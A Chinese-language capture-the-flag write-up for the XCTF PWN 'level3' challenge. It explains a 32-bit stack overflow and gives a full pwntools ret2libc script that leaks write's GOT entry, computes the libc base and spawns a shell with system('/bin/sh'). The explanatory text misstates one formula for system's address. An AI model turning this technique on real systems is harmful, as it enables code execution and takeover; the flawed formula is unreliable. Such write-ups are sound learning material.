XCTF-PWN-Level3
XCTF-PWN-Level3
2021年11月9日
9:57
拿到题目之后使用文件查看工具发现是32位文件:
小端,没有开stack端保护?NX开启状态,PIE没有开启状态说明函数的地址在libc中是静态的
IDA32开:
主函数:
看含有漏洞处的函数:
buf创建是88h,十进制136。此时read函数中的buf创建是0x100,十进制是256,存在溢出点。
既然没有system和/bin/sh,那怎么办?所以就有了libc文件,通过得到的libc基址可以获得system函数的地址。
具体操作是这样的:
1、通过write函数got表获取write函数的地址
2、获取libc函数库中的write函数的地址
3、之后通过上述2者获得libc函数库的偏移地址
libc的偏移地址 = got表中write函数地址 - libc的write函数地址
在这里要说的是同理知道了libc的偏移地址之后可以获得system函数以及/bin/sh的地址。
比方说system函数地址 = got表中的system函数地址 + libc的偏移地址
解题过程:
from pwn import *
sock = process("./level3")
sock = remote('ip',port)
#初始化elf以及libc
libc = ELF('libc_32.so.6')
elf = ELF('level3')
#获取main函数的地址
main_addr = elf.sym['main']
log.success(hex(main_addr))
#使用第一次漏洞获取write函数的地址
#利用方式为 libc_offset = write_got - write_libc
#写好got以及plt
write_got_addr = elf.got['write']
write_plt_addr = elf.plt['write']
#第一次泄露过程write(1,write_got_addr,4),获取write在got中的地址write_addr
payload = b'A' *136 + b'b' *4 + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)
sock.sendlineafter('Input:\n',payload)
write_addr = u32(sock.recv()[:4])#这里需要接收4个字符
log.success("write_addr:",hex(write_addr))
#获取libc的基址:write在got中的真实地址减去libc里面的write获取到libc的真实地址
libc_offset = write_addr - libc.sym['write']
log.success("libc_offset:"+ hex(libc_offset))
#获取system函数真实地址以及/bin/sh的真实地址
sys_addr = libc_offset + libc.sym['system']
log.success("sys_addr:"+hex(sys_addr))
bin_sh_addr = libc_offset + libc.search(b'/bin/sh').__next__()
log.success("bin_sh_addr:"+hex(bin_sh_addr))
#最终pwn#需要注意调用函数还有一个deadbeef,那是用来占位的
payload = b'A' *136 + b'B'*4 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)
sock.sendline(payload)
sock.interactive()
上述脚本能成功获得flag